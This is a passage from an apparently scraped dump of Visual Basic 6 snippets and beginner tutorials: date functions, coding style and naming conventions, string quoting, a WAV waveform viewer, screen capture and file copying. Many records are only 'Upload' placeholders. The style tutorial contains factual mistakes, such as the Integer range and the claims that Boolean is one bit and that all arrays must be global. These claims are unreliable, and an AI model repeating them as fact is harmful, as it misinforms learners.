format, you may want to review it now <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.22876/lngWId.1/qx/vb/scripts/ShowCode.htm\"> by clicking here.</a>\t\n \n \nToday's code snippet prints a annual schedule of maintenance dates for a piece of equipment that must be maintained every 45 days. \n\nCopy & Paste Code:\n <font\n size=\"2\" face=\"Arial\">\n <pre>\n<code></code></pre>\n <pre\n style=\"margin-left:1.25in;text-indent:.35pt;tab-stops:45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\"><font\nsize=\"3\" face=\"Arial\"><code>\n \nDim dtmStartDate As Date 'Holds original date\nDim dtmMaintDate As Date 'Holds incremented date\ndtmStartDate = InputBox(\"Enter the date of the first maintenance:\")\ndtmMaintDate = dtmStartDate 'Start increment date at entered date\nDebug.Print \"Maintenance Schedule for Widget\"\nDebug.Print \"================================\"\n \n<code>\nDo\n \n dtmMaintDate = DateAdd(\"d\", 45, dtmMaintDate)\n\t \n'\t\tPrint to the debug window (press \"Ctrl\" Key + \"G\" Key\n'\t\tto view the debug window\n\t \n Debug.Print dtmMaintDate\n'\tkeep going until the current maintenance date is \n'\tgreater than the start date plus one year\nLoop Until dtmMaintDate > DateAdd(\"yyyy\", 1, dtmStartDate)\n\n \n \n \n\t\t\t\t</code></pre>\n \n<font\nsize=\"2\" face=\"Arial\">Notes: \n\nThe DateAdd function is extremely useful when you are writing time sensitive applications. You can accomplish with one function call what would take many, many lines of code without it.\n \nSome general notes on DateAdd:\n\n \n<li>Despite its name, you can subtract dates with DateAdd as well. This is accomplished by simply adding a negative number in the Count parameter.\n \n \n<blockquote>\n<code>MsgBox DateAdd(\"d\", -2, Date)</code>\n</blockquote>\n \n<li>DateAdd is aware of all of the calendar weirdness such as leap years. Using it to add an interval of one day to Feb. 28, 2001 will yield Feb. 29, while it will yield March 1 for 2002.\n</body>\n</html>\n"},{"WorldId":1,"id":23034,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\"\ncontent=\"text/html; charset=iso-8859-1\">\n<title>Daily Newbie - 05/01/2001</title>\n</head>\n<body bgcolor=\"#FFFFFF\">\n \n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\n\n \nMay 8,\n2001 \n \n\n<img width=\"100%\" height=\"3\"\nv:shapes=\"_x0000_s1027\">\n \n \n\n\n\nToday’s Keyword:\n <font\nsize=\"4\" face=\"Arial\"> DatePart()\nName Derived\nFrom: \n \"Part of a Date\"</a> \n \n<font\nsize=\"2\" face=\"Arial\">Used for: \nGetting a part of a date value (i.e. Day, Month, Year, etc.).\n<font\nsize=\"2\" face=\"Arial\">VB Help Description: Returns a Variant (Integer) containing the specified part of a given date.\n\nPlain\nEnglish: Lets you get only one part of a date/time value. For example you can determine what weekday a certain date falls on. \n<font\nsize=\"2\" face=\"Arial\">Syntax: Val=DatePart(Part, Date)\n<font\nsize=\"2\" face=\"Arial\">Usage: intWeekDay = DatePart(\"w\",\"01/12/2000\")\n\t\t\t\t\t\t\t\t\t \n<font\nsize=\"2\" face=\"Arial\">Parameters: \n \n\n<li>Part - The part of the date you want returned . This can be: \n\t<blockquote>\n\t\t<blockquote>\n\t<li>s - Seconds\n\t<li>n - Minutes\n\t<li>h - Hours\n\t<li>d - Days\n\t<li>y - Day of Year\n\t<li>w - Weekday\n\t<li>w - Week\n\t<li>m - Months\n\t<li>q - Quarter\n\t<li>yyyy - Year\n\t\n\t\t</blockquote>\n\t</blockquote>\n<li>Date - The date that the part is derived from.\nExample: \n \nTo get the current week within the current year (What week is this for the year? 1-52 )):\n \n<blockquote>\n<code>MsgBox DatePart(\"ww\", Date)</code>\n</blockquote>\n\t\t\n\nIf you have not read the Daily Newbie on how VB stores date format, you may want to review it now <a href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.22876/lngWId.1/qx/vb/scripts/ShowCode.htm\"> by clicking here.</a>\t\n \n \nToday's code snippet returns the Julian date for today. \n\nCopy & Paste Code:\n <font\n size=\"2\" face=\"Arial\">\n <pre>\n<code></code></pre>\n <pre\n style=\"margin-left:1.25in;text-indent:.35pt;tab-stops:45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\"><font\nsize=\"3\" face=\"Arial\"><code>\n \n\nMsgBox \"Today's Julian Date is: \" & DatePart(\"y\",Date) & \"/\" & DatePart(\"yyyy\",Date)\n \n \n\t\t\t\t</code></pre>\n \n \n \n</body>\n</html>\n"},{"WorldId":1,"id":32746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31778,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31732,"LineNumber":1,"line":"<style type=\"text/css\">\n\n</style>\nBeginners Tutorial\n \n This is my first tutorial to PSC, so please be kind with any comments... \nThe tutorial is targeted at users who are new to Visual Basic and provides \n a few simple basic tips that will help you in your coding. These are all useful \n tips that will speed up your programming and, as your programs get larger, your \n debugging.\nLike many people I am sick of downloading a program to see that the code is \n along the lines of: \n\nPrivate Sub Command4_Click() \n Dim a, b, c, d \n a = Text12.Text \n b = Text3.Text \n If a = b Then \n ...\nThis tutorial forms a guide on how to write your code to look professional.\nSyntax: \n Code represents code examples. \n Text represents a comment. \n Note: Explains some of the code in the examples. \n Procedure: a Sub or function.\nContents<a name=\"top\"></a>\n<a href=\"#option\" class=\"link\">1. Option Explicit</a> \n <a href=\"#formatting\" class=\"link\">2. Code Formatting</a> \n <a href=\"#commenting\" class=\"link\">3. Commenting \n </a><a href=\"#types\" class=\"link\">4. Variable Types \n </a><a href=\"#static\" class=\"link\">5. Static Variables \n </a><a href=\"#global\" class=\"link\">6. Global/Local Variables \n </a><a href=\"#public\" class=\"link\">7. Public/Private Functions \n </a><a href=\"#arrays\" class=\"link\">8. Arrays \n </a><a href=\"#constants\" class=\"link\">9. Constants \n </a><a href=\"#control\" class=\"link\">10. Control Names \n </a><a href=\"#variable\" class=\"link\">11. Variable/Constant/Procedure Names</a>\nOption Explicit<a name=\"option\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nOption Explicit is an extremely useful function of VB, if you refer to a variable \n that does not exist VB will stop executing the code and inform you of this. \n If you do not include Option Explicit and misname a variable then VB will assume \n create a new variable with a value of 0 or null. For example:\nDim myName as String \n myName = "BOB" \n If myyName = "" Then \n MsgBox \n "Hello " & myName \n End If\n\nIf Option Explicit is used VB will stop when the \n IF statement is reached. If Option Explicit is \n not used the code will not display a message, as VB will assume myyName \n is different from myName. It will create the variable \n myyName (of type Variant) with an initial value of \n "", because of this the message box will \n not be displayed.\nWhile this mistake appears obvious, and would be easy to debug, when thousands \n of lines are used a small mistake can stop the entire code from working.\nThe Option Explicit keywords should be the topmost \n line of code for a form or module, before any declarations or procedures.\nCode Formatting<a name=\"formatting\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nThe most important aspect when writing code for your programs is the format \n of the code. This is the first thing another programmer will see when they open \n your program, and they will be more likely to peruse and attempt to understand \n your code if it appears friendlier. Formatting is easy to remember:\nInside a procedure code will be should indented one tab.\n Public Sub cmdAbout_Click() \n MsgBox \n "(c) me, 2002" \n End Sub\nFor each IF statement, FOR \n or DO loop the code should be indented an additional \n tab.\n Public Sub cmdDisplay_Click() \n Dim \n i as Integer \n For \n i = 1 to 10 \n txtResults.Text \n = txtResults.Text & i & vbTab & i^2 & vbCrLf \n Next \n i \n MsgBox \n "(c) me, 2002" \n End Sub\nThis is far easier to read than\n Public Sub cmdDisplay_Click() \n Dim i as integer \n For i = 1 to 10 \n txtResults.text = txtResults.text & i & vbTab & i^2 & vbCrLf \n Next i \n MsgBox "(c) me, 2002" \n End Sub\nNote: vbTab adds a tab \n to the text, vbCrLf adds a Carriage Return and Line \n Feed characters, which together make the text go to a new line. These are both \n VB constants, explained below. i^2 is simply a mathematical \n function, representing i x i, \n ^ represents the mathematical function power. Therefore \n i^3 means i x i x i.\nVB does not insert a Tab character, instead it will insert spaces that act \n in a similar way. The number of spaces per tab can be set in the program options.\nCommenting<a name=\"commenting\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nA comment is a piece of text in your program that is not intended to be executed \n as a command. A comment is indicated by a single quotation mark before the text. \n The comment can appear on the same line as code but anything after the quotation \n will be considered a comment\nCommenting is very useful to remind yourself what code does and is very important \n in indicating to other programmers unfamiliar with your code what each piece \n of code does.\nIf submitting a program to PSC, a good idea is to add your name, e-mail, the \n project name and the date at the top of the first from/module this makes it \n easier for other users to contact you if they wish to use your code. You also \n may wish to add a short description of your program. e.g.\n '**************************************** \n 'Program: Date Finder \n 'Author: I. Rule <rulei@fictitional.com> \n 'Date: 1/1/2002 \n ' \n 'This program will accept a date and check \n 'whether it is a leap year. \n '****************************************\nComments should be used within the code to explain its function. \n Dim leap as Boolean \n leap = (year Mod 4 = 0) 'Is this a \n leap year? \nIf a line of code is long it may be easier to write the comment before the \n line of code, to save yourself continually scrolling to see the comments.\n Dim leap as Boolean \n 'Is this a leap year? \n leap = (year Mod 4 = 0)\nIt is recommended that you do not over comment this can make code appear cluttered \n and if unnecessary, will slow you down. For example:\n Dim leap as Boolean, year as Integer \n year = Val(cmdYear.Text) 'Get \n the year from the text box \n leap = (year Mod 4 = 0) 'Is \n this a leap year? \n MsgBox leap 'Display \n a message box indicating whether this is a leap year.\nNote: Val(text) will give \n you the numerical value text, this is useful incase the user types a letter \n instead of a number, which would cause the program to crash, instead Val(text) \n will return 0. The Mod operator gives the remainder, \n so 5 Mod 2 would give 1(the remainder of 5 divided \n by 2). The formatting of leap = (year Mod 4 = 0) is \n an easy way to get a True/False value. year \n Mod 4 gives a number, if this number is 0 then (year \n Mod 4 = 0) gives True, if not it gives False. \n Therefore leap receives its correct value. The brackets are not necessary but \n make the code easier to understand.\nUse your own judgment whether code needs to be commented, keeping in mind whether \n it is for your own or others benefit.\nVariable Types<a name=\"types\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nVisual Basic has the following variable types:\n<table width=\"100%\" border=\"1\" class=\"text\" cellspacing=\"0\">\n <tr> \n <td>Type</td>\n <td>Description</td>\n <td>Example</td>\n </tr>\n <tr> \n <td>Date</td>\n <td>Stores a date/time combination</td>\n <td>1:46:32 AM 17-02-2002</td>\n </tr>\n <tr> \n <td>String</td>\n <td>Stores a "string" of text without formatting</td>\n <td>Hello Bob</td>\n </tr>\n <tr> \n <td>Integer</td>\n <td>A non decimal number -32768 to +32768</td>\n <td>199</td>\n </tr>\n <tr> \n <td>Byte</td>\n <td>An integer from 0 to 255, inclusive</td>\n <td>16</td>\n </tr>\n <tr> \n <td>Long</td>\n <td>An integer extending to billions</td>\n <td>1132434</td>\n </tr>\n <tr> \n <td>Double</td>\n <td>Stores decimal and large numbers</td>\n <td>1.0002</td>\n </tr>\n <tr> \n <td>Single</td>\n <td>Stores large numbers </td>\n <td> </td>\n </tr>\n <tr> \n <td>Boolean</td>\n <td>A single bit, stores True or False</td>\n <td>True</td>\n </tr>\n <tr> \n <td>Variant</td>\n <td>A variant should not be used, it can store values of any of the above \n types, but is very memory intensive and is bad programming practice to use \n them. </td>\n <td> </td>\n </tr>\n</table>\nString, Integer and Boolean are the most common, but as your programs become \n more advanced you will need to use Long, Double and Date\nA variable is declared as such:\n Dim var as Boolean\nIf you wish to use this variable in other modules/forms declare it as public:\n Public var as Boolean\nA variable that is not given a type becomes a variant by default. Do not do \n this.\n Dim var\nTo save space/time variables can be defined in a single line.\n Dim var as Boolean, personName as String, age as Integer, siblings \n as Integer\nDo not declare them in the following fashion\n Dim var1, var2, var3 as Boolean\nvar1 and var2 will become \n Variant type. Only var3 will be a Boolean type.\nStatic Variables<a name=\"static\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nIf the keyword Static is used in place of Dim \n the variable will retain its value. For example:\n Private Sub cmdCount_Click() \n Static \n count as integer \n count = count + 1 \n MsgBox \n count \n End Sub \nThe first time the button is pressed (the procedure is run) a message box will \n display "1" the second time it would display "2" and so \n on. If Dim were used:\n Private Sub cmdCount_Click() \n Dim \n count as integer \n count \n = count + 1 \n MsgBox \n count \n End Sub \nThe count would be re-created each time, and it would revert to 0, therefore \n pressing the button would only ever display 1. Static variables are rarely required \n and in most cases a global variable is easier to use and more suitable.\nStatic variables cannot be global, i.e. they should only exist within procedures.\nGlobal/Local Variables<a name=\"global\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nA variable can be either declared locally or globally. A local variable is \n defined within a procedure and can only be accessed from within that procedure. \n A global variable is defined outside a procedure at the top of the page of code \n for that form or module. It can be accessed by all procedures in that module/form, \n and will obviously not lose its value once a procedure has finished executing. \n e.g.\nfrmMain:\n Dim myName as Stirng 'Global \n variable - can be used by any procedure of frmMain \n Dim myAge as Integer 'Global \n variable - can be used by any procedure of frmMain \n Public peopleCount as Integer 'Public \n global variable - notice it can be used by modChecks \n<hr width=\"75%\" align=\"left\" size=\"1\" noshade>\nPrivate Sub cmdRecord_Click() \n Dim valid as Boolean 'A \n local variable - it can only be used in this sub \n valid \n = chkValid.Value \n If \n valid = true Then \n myName \n = txtName.Text \n myAge \n = txtAge.text \n peopleCount \n = Val(txtCount.text) \n message \n = txtMessage.text \n End \n If \n End Sub\n<hr width=\"75%\" align=\"left\" size=\"1\" noshade>\nPrivate Sub cmdDisplay_Click() \n MsgBox \n "Name " & myName \n MsgBox \n "Age " & myAge \n End Sub\n \nmodChecks:\n Public message as string 'Public \n global variable - notice it can be used by frmMain\n<hr width=\"75%\" align=\"left\" size=\"1\" noshade>\nPublic Sub CheckMaximum() \n If \n frmMain.peoplCount > 5 Then \n MsgBox \n message \n End \n If \n End Sub\nNotice frmMain.peopleCount is used in CheckMaximum when referring to the variable. \n This applies when a form or module gets the value of a variable belonging to \n another form. If the variable belongs to a module then the form or module can \n directly refer to it directly, as is the case for the variable message. These \n variables are used as an example - it is up to you to decide whether the variable \n is declared in the module or form.\nPublic/Private Functions<a name=\"public\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nSimilar rules to these apply to procedures. Private procedures can only be \n used within their own form or module. Public ones can be used by any form or \n module, but if they belong to a form the forms name must be written before the \n procedure name.\nGENERAL RULE: If a variable, procedure is used in more than one form it should \n be placed in the module, if not it is best placed in the form it is used in. \n\nArrays<a name=\"arrays\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nAn array or variables is useful when you need to store values that belong in \n a list. The can be declared as follows:\n Dim name(1 to 100) as String\nAn array can also be declared like so: \n Dim name(100) as String\nThis would equate to:\n Dim name(0 to 100) as String\nIn most cases when using arrays the list begins at 0, not 1.\nThe same rules regarding the Public keyword apply, except for two changes: \n 1. All arrays must be global (i.e. not declared within a procedure). \n 2. An array that is declared in a form cannot be Public.\nIt is possible to define an array without specifying a length:\n Dim userName() as String\nIn this case the length must be specified lasted using ReDim. This will allow \n you decide on a length after some code has been executed. A ReDim statement \n can be called more than once for any array, however each time the values for \n each position in the array will be lost.\n Dim userName() as String\n<hr width=\"75%\" align=\"left\" size=\"1\" noshade>\nPrivate Sub cmdSetLength_Click() \n Dim people as integer \n people = Val(txtPeopleCount.Text) \n ReDim userName(1 To people) \nEnd Sub \nAn array like those above represent a single dimension. It is possible to have \n as many dimensions as you like (although three is probably the maximum you will \n need). Note that if you create an array with many dimensions you may fun out \n of memory, as a 8 dimensional array like so userName(1 To \n 10, 1 To 10, 1 to 10 ...) as String is equivalent to 100,000,000 variables.\nMulti-dimensional arrays are declared in the following fashion:\n Dim userName(1 To 10, 1 To 10) as String\nor\n Dim userName() as String\n<hr width=\"75%\" align=\"left\" size=\"1\" noshade>\nPublic Sub SetDimensions() \n ReDim \n userName(1 To 10, 1 To 10) \n End Sub\nConstants<a name=\"constants\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nConstants provide an easy way to remember reoccurring numbers or text without \n creating a variable. Constants cannot be changed at run-time. Typical use may \n be:\n Const PI = 3.141592653589\nA constant can only be global. A public constant can only be declared in a \n module using the syntax:\n Public Const PI = 3.141592653589\nVisual Basic constants\nVisual Basic has its own inbuilt constants. Each only begins with the prefix \n vb. Previously vbTab and vbCrLf were discussed. The most commonly used are for \n the basic colours and for key ASCII values (used in the KeyDown and KeyPress \n procedures). For a full list check your help file.\n<table width=\"30%\" border=\"1\" cellspacing=\"0\">\n <tr> \n <td class=\"text\" width=\"48%\">Example</td>\n <td class=\"text\" width=\"52%\">Value</td>\n </tr>\n <tr> \n <td class=\"code\" width=\"48%\">vbKeyEscape</td>\n <td class=\"text\" width=\"52%\">27</td>\n </tr>\n <tr> \n <td class=\"code\" width=\"48%\">vbKeyRight</td>\n <td class=\"text\" width=\"52%\">39</td>\n </tr>\n <tr> \n <td class=\"code\" width=\"48%\">vbBlue</td>\n <td class=\"text\" width=\"52%\">16711680</td>\n </tr>\n</table>\nControl Names<a name=\"control\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nNaming controls is an important part of programming. It should be done as each \n control is placed on the form not after the entire layout is designed. The prefix \n for each control should be standard and suggest what type of control it is. \n The generally accepted prefixes for the most common controls are:\n<table width=\"87%\" border=\"1\" cellspacing=\"0\">\n <tr> \n <td class=\"text\" width=\"92%\">Control</td>\n <td class=\"text\" width=\"8%\">Prefix</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Command Button</td>\n <td class=\"code\" width=\"8%\">cmd</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\"> \n Label \n If a label is not used for input or output it is acceptable to leave \n its default name.\n </td>\n <td class=\"code\" width=\"8%\">lbl</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Text Box</td>\n <td class=\"code\" width=\"8%\">txt</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Form</td>\n <td class=\"code\" width=\"8%\">frm</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Picture Box</td>\n <td class=\"code\" width=\"8%\">pic</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Image</td>\n <td class=\"code\" width=\"8%\">img</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Timer</td>\n <td class=\"code\" width=\"8%\">tmr</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Menu</td>\n <td class=\"code\" width=\"8%\">mnu</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Check Box</td>\n <td class=\"code\" width=\"8%\">chk</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">Option Button</td>\n <td class=\"code\" width=\"8%\">opt</td>\n </tr>\n <tr> \n <td class=\"text\" width=\"92%\">etc.</td>\n <td class=\"text\" width=\"8%\"> </td>\n </tr>\n</table>\nBy doing this your code will be far easier to interpret, a control named txtAge \n is far more descriptive that one named age, which could be a button, textbox \n or even a label. It also means that you don't run into trouble when you want \n (for example) a button and textbox to have the same name. Controls can also \n exist in arrays - if you copy and paste a control it will ask you if you would \n like to create an array. This functionality is rarely needed, but if it is the \n Index property represents its position in the array. Controls can only exist \n is one-dimensional arrays.\nVariable/Constant/Procedure Names<a name=\"variable\"></a> <a href=\"#top\" class=\"linktop\">(top)</a>\nThe naming convention of variables/constants/procedures is not vital, but is \n good programming practice and is extremely helpful to someone examining your \n code. There is one rule for each type: \n \n\n<table width=\"100%\" border=\"1\" class=\"text\" cellspacing=\"0\">\n <tr> \n <td width=\"9%\">Type</td>\n <td width=\"64%\">Rule</td>\n <td width=\"27%\">Example</td>\n </tr>\n <tr> \n <td width=\"9%\">Variables</td>\n <td width=\"64%\">The name has correct cases except for the first letter, which \n is always lower case.</td>\n <td class=\"code\" width=\"27%\">myName</td>\n </tr>\n <tr> \n <td width=\"9%\">Constants</td>\n <td width=\"64%\">The entire name is uppercase.</td>\n <td class=\"code\" width=\"27%\">DAYSPERYEAR or DAYS_PER_YEAR</td>\n </tr>\n <tr> \n <td width=\"9%\">Procedures</td>\n <td width=\"64%\">All letters are correct cases.</td>\n <td class=\"code\" width=\"27%\">CalculateAverage</td>\n </tr>\n</table>\nIf you have declared a variable then VB will automatically convert all instances \n of it in your code to the case you used when you declared it. This can be used \n if you are unsure what the name of the variable was, if you type is deliberately \n in the wrong case and it is correct the case will be changed to mach that of \n the declaration.\nFor example if you are unsure if the variable boxColour \n was spelt boxColour or boxColor \n then type: BOXCOLOR and press space/enter, because \n there is no variable by this name the case will remain unchanged. Therefore \n if you retype the text as to BOXCOLOUR the case will \n automatically change to boxColour. \n"},{"WorldId":1,"id":28654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34516,"LineNumber":1,"line":"To use quotes within strings. ie. \nCall me \"Bob\" OK \n \nThis is hard to define within vb as quotes define the start and end of a string so: \ntalk = \"Call me \"Bob\" OK\" \n \nwont work. You can get around this by usings its ascii value (Chr(34) is equivalent to a quote) however there is an easier way, using double and triple quote marks. \n \nA double quote within a text string will add a quote into the text so \nMsgBox \"Hello \"\"Bob\"\"!\" \n \nWill display \nHello \"Bob\"! \n \nThis also works at the start of a string so \nMsgBox \"\"\"Bob\"\"\" \n \nWill display \n\"Bob\" \nThis is a simple tip but will save you alot of effort.\n"},{"WorldId":1,"id":33326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28196,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30488,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10725,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim LastX, LastY, CurX, CurY As Byte\n CommonDialog1.ShowOpen\n Form1.Caption = CommonDialog1.FileName & \" - Graphical Wave\"\n If CommonDialog1.CancelError = True Or CommonDialog1.FileName = \"\" Then Exit Sub\n'If the user pressed cancel or didn't select anything then exit this sub\n On Error Resume Next\n Picture1.Width = FileLen(CommonDialog1.FileName)\n'Makes the invisible picturebox the width of the size of the .wav file\n Open CommonDialog1.FileName For Binary As #1\n Get #1, 44, LastY\n'Gets the 44th byte of the .wav file (that is where the sound information that we are\n'interested in starts)\n LastX = 0\n For i = 45 To FileLen(CommonDialog1.FileName)\n'Loops through each byte (after 44) of the file\n Get #1, i, CurY\n Picture1.Line (LastX, LastY + 22)-(i, CurY + 22), 0\n'Draws a line in the invisible picturebox using the data we read from the file\n LastX = i\n LastY = CurY\n Next i\n Close #1\n StretchBlt Picture2.hdc, 0, 0, Picture2.ScaleWidth, Picture2.ScaleHeight, Picture1.hdc, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight, vbSrcCopy\n Picture2.Refresh\n'This just copies the area of picture1 into picture2, so that you can see the whole Wave\nEnd Sub\nPrivate Sub Form_Load()\n Form1.ScaleMode = vbPixels\n Picture1.AutoRedraw = True\n Picture1.ScaleMode = vbPixels\n Picture1.Visible = False\n Picture1.Height = 300\n Picture1.BackColor = vbWhite\n Picture2.AutoRedraw = True\n Picture2.ScaleMode = vbPixels\n Command1.Caption = \"Load .wav\"\n CommonDialog1.Filter = \"Wave Files (.wav) | *.wav\"\nEnd Sub\nPrivate Sub Form_Resize()\n Picture2.Move 0, Command1.Height, Form1.ScaleWidth, Form1.ScaleHeight\n Command1.Move 0, 0, Form1.ScaleWidth, Command1.Height\n 'Stretches the visible picturebox and the commandbutton to fit the form\nEnd Sub\n"},{"WorldId":1,"id":25568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25145,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12836,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21938,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13009,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":15148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10994,"LineNumber":1,"line":"'****Declares\nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As Byte, _\nByVal dwFlags As Long, ByVal dwExtraInfo As Long)\nPublic Function Capture_Desktop(ByVal Destination$) as Boolean \nOn Error goto errl\n DoEvents\n Call keybd_event(vbKeySnapshot, 1, 0, 0) 'Get the screen and copy it to clipboard\n DoEvents 'let computer catch up\n SavePicture Clipboard.GetData(vbCFBitmap), Destination$ ' saves the clipboard data to a BMP file\n Capture_Desktop = True\n Exit Function\n errl:\n Msgbox \"Error number: \" & err.number & \". \" & err.description\n Capture_Desktop = False\n End Function\n'A lil' example \n Private Sub Command1_Click()\n Capture_Desktop \"c:\\windows\\desktop\\desktop.bmp\" 'That's it"},{"WorldId":1,"id":24936,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11460,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13447,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12368,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32249,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11381,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32396,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26908,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29198,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29173,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12462,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim fName As String\n fName = Dir(\"c:\\tempo\\*.doc\") ' Retrieve the first entry.\n Do While fName <> \"\" ' Start the loop.\n If GetAttr(\"c:\\tempo\\\" & fName) <> vbDirectory Then 'only files\n FileCopy \"c:\\tempo\\\" & fname, \"c:\\tempx\\\" & fName 'copies the file\n 'Kill \"c:\\tempo\\\" & fname 'deletes the original - optional\n End If \n fName = Dir ' Get next entry.\n Loop\nEnd 